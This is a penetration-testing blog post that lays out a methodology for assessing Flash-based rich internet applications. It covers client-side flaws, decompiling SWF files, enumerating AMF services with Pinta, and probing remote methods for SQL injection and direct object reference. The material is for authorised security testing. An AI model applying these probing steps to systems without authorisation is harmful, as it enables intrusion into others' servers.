The Authoritative Blog on Penetration Testing

Yesterday, I received a post in the Pen-Test mailing list requesting for tips/resources on penetration testing of flash applications.  While there are some tools and white papers available, I could not find many authoritative resources which wraps the entire spectrum of flash security testing of RIA applications.  So here is an endeavor to detail out the steps of testing.  I will keep this post only to outline the essential steps or points.  Please feel free to recommend additional inclusion of tools and techniques.  The idea is to come up with a comprehensive paper which can be used by pen-testers to test flash based Rich Internet Applications (RIA).

A short unnecessary introduction on Flash RIA

Adobe Flash (formerly Macromedia Flash) is a multimedia platform originally acquired by Macromedia and currently developed and distributed by Adobe Systems. Since its introduction in 1996, Flash has become a popular method for adding animation and interactivity to web pages. Flash is commonly used to create animation, advertisements, and various web page Flash components, to integrate video into web pages, and more recently, to develop rich Internet applications. Source: en.wikipedia.org/wiki/Adobe_Flash

Conventionally, RIA developed with Adobe Flash technology consists of a frontend application compiled as an SWF/AIR object to be executed by the Flash Plugin inside the User’s Browser or the AIR Platform installed on the User’s System. This interactive application provides a user Interface to the end-user and in turn communicates with a backend server for its business logic over protocols like HTTP/AMF, HTTP/SOAP, HTTP/REST etc.

The security angle..

Similar to any widely used web application and software, a RIA can also be a victim of most common and dangerous security Issues. For example, since most Flash based RIAs are backed by an application for its business logic which in turn uses a database, a Flash based RIA might also be vulnerable to common application vulnerabilities like SQL Injection if user input is not sanitized properly. Quite logical huh?. Attackers can also utilize Flash to execute mass exploitation, for example backdoors or malware entirely written in Flash/ActionScript or BOFs against player/plugin or browser.

It is quite general to deduce that security flaws may also be present in the core environment (which includes the OS and web browsers) that can be exploited regardless of the applications (including Flash Player) running in that environment. A recent paper from Adobe suggests that the approach of Adobe is to implement robust security within its own products while “doing no harm” to the rest of the environment (in other words, to introduce no exposures to the rest of the environment, nor allow any avenues for additional exploitation of any existing platform security weaknesses). This provides a consistently high level of security for what Flash applications can do (as managed within Flash Player), regardless of the platform. Because Adobe products are also designed to be backwards-compatible when possible, some environments may be more vulnerable to weaknesses in the browser or operating system, or have weaker cryptography capabilities. Ultimately, users are responsible for their choices of platforms and maintenance of appropriate operational environments.

Vulnerabilities in flash RIA can be broadly classified under two categories: client side vulnerabilities and server side vulnerabilities. Let’s review each one of these very quickly:

Client Side Vulnerabilities:

Amongst the various vulnerabilities that might affect a Flash Application on the client side, some of the most common ones are:

Flash parameter Injection: It might be possible for an attacker can inject global Flash parameters when the movie is embedded in a parent HTML page. These injected parameters can grant the attacker full control over the page DOM, as well as control over other objects within the Flash movie. There is nice detailed paper by the IBM Rational guys on this vulnerability. You can download it here.

Cross Domain Privilege Escalation: Cross Domain inter-mixing of content and data is done based on access policy defined in crossdomain.xml of the serving domain for the SWF object. If the access policy is too open, then under certain circumstances, it might be possible for an attacker to supersede the original SWF object with his own malicious version or access the DOM of the hosting domain.

Cross Site Scripting: Depending on access policy, a Flash SWF can access its host DOM for various functional use cases. A Flash SWF can in turn modify the DOM of its host and if it does so based on un-sanitized user input, it might be possible to perform a conventional XSS attack on the host DOM.

Cross Site Flashing: Cross Site Flash (XSF) occurs when an SWF objects loads another SWF Object.  This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake flash form.  XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie methods are used. OWASP has a testing guide for XSF. Although not comprehensive, still it is a very good point to start. Read it here.

Server Side Vulnerabilities

Flash Applications seldom makes remote calls to a backend server for various operations like looking up accounts, retrieving additional data and graphics, and performing complex business operations. However, the ability to call remote methods also increases the attack surface exposed by these applications. Flash Applications built with Adobe Flex SDK usually use AMF Objects exchanged over HTTP Protocol as a method of communication. AMF Remoting calls are essentially RPC like calls where the Flash Application is calling a given method defined on the server on a specific AMF Endpoint. An attacker can intercept and tamper the AMF data to compromise the server.

In most of the cases the application server responsible for providing Business Logic to a Flash RIA frontend is a standard web application and can be affected by the very same vulnerabilities as any other web application like as described by the WASC Threat Classification Project.

Testing Flash Applications: Objectives and Approach

A Flash Security Testing exercise for a Flash Based RIA is conducted with the following objectives:

• Identify the application entry points and test for possible vulnerabilities in the SWF Object itself.
• Identify the remote server with which the application might communicate for its business logic requirements.
• Identify the protocol with which the SWF Object is communicating with its back-end server. In most of the cases, the protocol will either be SOAP/REST or AMF.
• Identify and enumerate all the functionalities exposed by the back-end application.
• Penetration Testing of the individual functionalities exposed by the back-end application for standard application security vulnerabilities.

Client Side Testing

Client side primarily relates to static analysis of the flash application. The idea of static analysis of a Flash SWF Object is to decompile the SWF file and attempt to do a white box testing approach by looking into the source code of the Flash SWF File. Basic approach to test client side vulnerabilities is :

1. Decompile SWF files into source code (ActionScript) and statically analyzes it to identify security issues such as information disclosure (hard coded).
2. Audit third party applications without requiring access to the source code.
3. Common vulnerabilities includes hard coded login credentials, internal IP disclosure, etc.
4. Apart from analyzing the SWF file, it is also important to analyze the code responsible for generating the HTML file that embeds the SWF object. Under certain circumstances in might be possible to manipulate the FlashVars variable through which SWF inputs can be influenced.

There are however automated tools like HP SWFScan available to do this job upto a certain degree.

Server Side Testing

The best straightforward way to do a server side testing for flash based RIA applications are as follows:

1. Extract Gateway

• Load the flash e.g http://foo.com/bar.swf in a browser with service capture/burp proxy/charlesproxy running .
• Decompile the SWF using swfdump and grep the gateway patterns. Also get a list of all the urls in SWFdump.

2.  Enumerate service/methods

• Try amfphp.DiscoveryService on all gateways using Pinta.
• Use Pinta for AMF calling even if the services and methods are manually entered and hence can be helpful in testing remote methods.
• If it fails try extracting them using regex from SWFDump using the following regular expression.
  Services:

  –"\"([a-zA-Z0-9_]*)\"“ with filter as “service” (conventional)

  –"destination id=\"([\\w\\d]*)\"“

3.  Make AMF calls

• Use Pinta to call remote methods using different test parameters.
• Single quote (SQL injection), neighbor parameters (Direct Object Reference).

Testing the backend application once the exposed functionalities are enumerated should be more or less conventional to standard web application security testing methodology just that a different protocol (AMF serialized calls in this case) is used for interacting with the server and invoking the functionalities.

Checklist of Vulnerabilities to be tested

• Cross Site Scripting
• Malicious Data Injection
• Insufficient Authorization Restrictions
• Secure Transmission
• SWF Information Leak
• Minimum Stage Size for Anti-ClickJacking
• SWF Control Permission
• Untrusted SWF in Same Domain
• Clickjacking
• Privilege Seperation
• Cross Domain Policy Audit
• Uninitialized Variable Scanning
• Remote Method Enumeration
• Business Logic Testing

This is a brief guide to testing flash applications. Comments are welcome to make it better and more comprehensive. At the end, we intend to publish a freely available whitepaper to pen testers for testing flash based RIA. Additional sections included in the paper will also carry due credits as received in the comments section below.

{ 0 comments }